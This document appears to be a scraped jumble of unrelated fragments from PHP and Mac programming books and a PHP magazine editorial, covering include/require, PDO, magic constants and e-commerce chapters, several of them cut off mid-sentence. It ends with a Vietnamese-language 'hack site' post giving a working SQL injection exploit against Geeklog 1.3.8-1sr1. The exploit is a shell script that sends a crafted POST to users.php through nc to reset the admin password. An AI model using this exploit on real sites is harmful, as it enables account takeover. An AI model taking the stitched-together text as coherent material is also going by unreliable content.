LIGHTENING YOUR WORKLOAD WITH INCLUDES
Introducing the PHP include commands
PHP has four commands that can be used to include code from an external file, namely:
• • • •
include() include_once() require() require_once()
They all do basically the same thing, so why have four? The fundamental difference is that include() attempts to continue processing a script, even if the external file is missing, whereas require() is used in the sense of mandatory: if the file is missing, the PHP engine stops processing and throws a fatal error.
Ernest Hemingway once offered a particularly sober assessment of his trade, saying, "There is nothing
to writing. All you do is sit down at a typewriter and bleed." This being my fifth book, and the
first published under my eponymous press, W.J. Gilmore LLC, I can sympathize with his appraisal.
Thankfully, psychological first aid is readily available from the family, friends, and colleagues who
always make this process much less painful.
The book has been written with an eye on forward and backward compatibility recommending PHP 5 techniques, but providing alternative solutions for servers still running PHP 4.3. All database examples demonstrate how to use the original MySQL extension, MySQL Improved, or the PHP Data Objects (PDO) introduced in PHP 5.1, letting you choose the most suitable option for your setup.
This book will introduce you to one of the most important extensions to PHP that are available, starting with PHP version 5.0—the PHP Data Objects, commonly known as PDO.
PHP grew in to a very popular web programming language due to its simplicity and ease of use. One of the key factors of this growing success is the built-in possibility to access many popular relational database management systems (RDBMS), such as MySQL, PostgreSQL, and SQLite, to name just a few.
E-commerce and Security
IN THIS PART
12 Running an E-commerce Site 13 E-commerce Security Issues 267 281
14 Implementing Authentication with PHP and MySQL 303 15 Implementing Secure Transactions with PHP and MySQL 327
Running an E-commerce Site
E-commerce and Security PART III
This chapter introduces some of the issues involved in specifying, designing, building, and maintaining an e-commerce site effectively. We will examine your plan, possible risks, and some ways to make a Web site pay its own way.
Expressions and Control Flow in PHP
The previous chapter introduced several topics in passing that this chapter covers more fully, such as making choices (branching) and creating complex expressions. In the previous chapter, I wanted to focus on the most basic syntax and operations in PHP, but I couldn’t avoid touching on more advanced topics. Now I can fill in the background that you need to use these powerful PHP features properly. In this chapter, you will get a thorough grounding in how PHP programming works in practice and how to control the flow of the program.
PHP comes ready-made with dozens of predefined constants that you generally will be unlikely to use as a beginner to PHP. However, there are a few—known as the magic constants—that you will find useful. The names of the magic constants always have two underscores at the beginning and two at the end, so that you won’t accidentally try to name one of your own constants with a name that is already taken. They are detailed in Table 3-5. The concepts referred to in the table will be introduced in future chapters.
My first experiments with object-oriented programming in PHP took place about six years
ago. Unfortunately, the book that introduced me to the subject concentrated on the
mechanics of writing classes and paid little heed to principles underlying OOP. As a result, I
wrote classes that were closely intertwined with a specific project (“tightly coupled,” to use
the OOP terminology). Everything worked exactly the way I wanted, but the design had a
fundamental flaw: the classes couldn’t be used for any other project.
Anew year is upon us—and quite a few interesting things
have already happened. We just published our first book, for
example. The Zend PHP Certification Practice Test Book, which
I co-wrote with John Coggeshall, has just been unleashed on the
PHP community with (if I may unleash some personal pride)
extremely good results. In a separate—but far more important—
piece of news, PHP was named “language of the year 2004” by a
site that tracks language usage in the development community.
While most editors will spend
their first editorial explaining at
length the arduous path the
brought the fruit of their labor to
life, I feel I have a higher goal to
aspire to. Getting php|a off the
ground has introduced us to
some genuinely new experiences—
nothing beats being
awake at two o’clock in the
morning (when you couldn’t
read the lettering off a truck if it
hit you) trying to pick a highly
legible font that will work both
on the screen and in print. Still, I
don’t think you want to hear
Beginning Mac Programming takes you through concrete, working examples, giving you the core concepts and principles of development in context so you will be ready to build the applications you’ve been imagining. It introduces you to Objective-C and the Cocoa framework in clear, easy-to-understand lessons, and demonstrates how you can use them together to write for the Mac, as well as the iPhone and iPod.
Sql Injection Exploit Code
hack site Geeklog version 1.3.8-1sr1 Đôi nét về greedlog.net http://www.geeklog.net/ Đây là một dạng portal download free dùng rất nhiều cho site tin tức vvvv khá phổ biến. Lỗi sql injection được tìm thấy trong file users.php 2.code khai thác Exploit: #!/bin/sh echo "POST /path/to/gl/users.php HTTP/1.0 Content-length: 50 Content-type: application/x-www-form-urlencoded mode=setnewpwd&passwd=new&uid=2&rid=3'+or+uid='1&" | nc localhost 80 This should change the Admin user's password to "new". You have to change the /path/to/gl/users.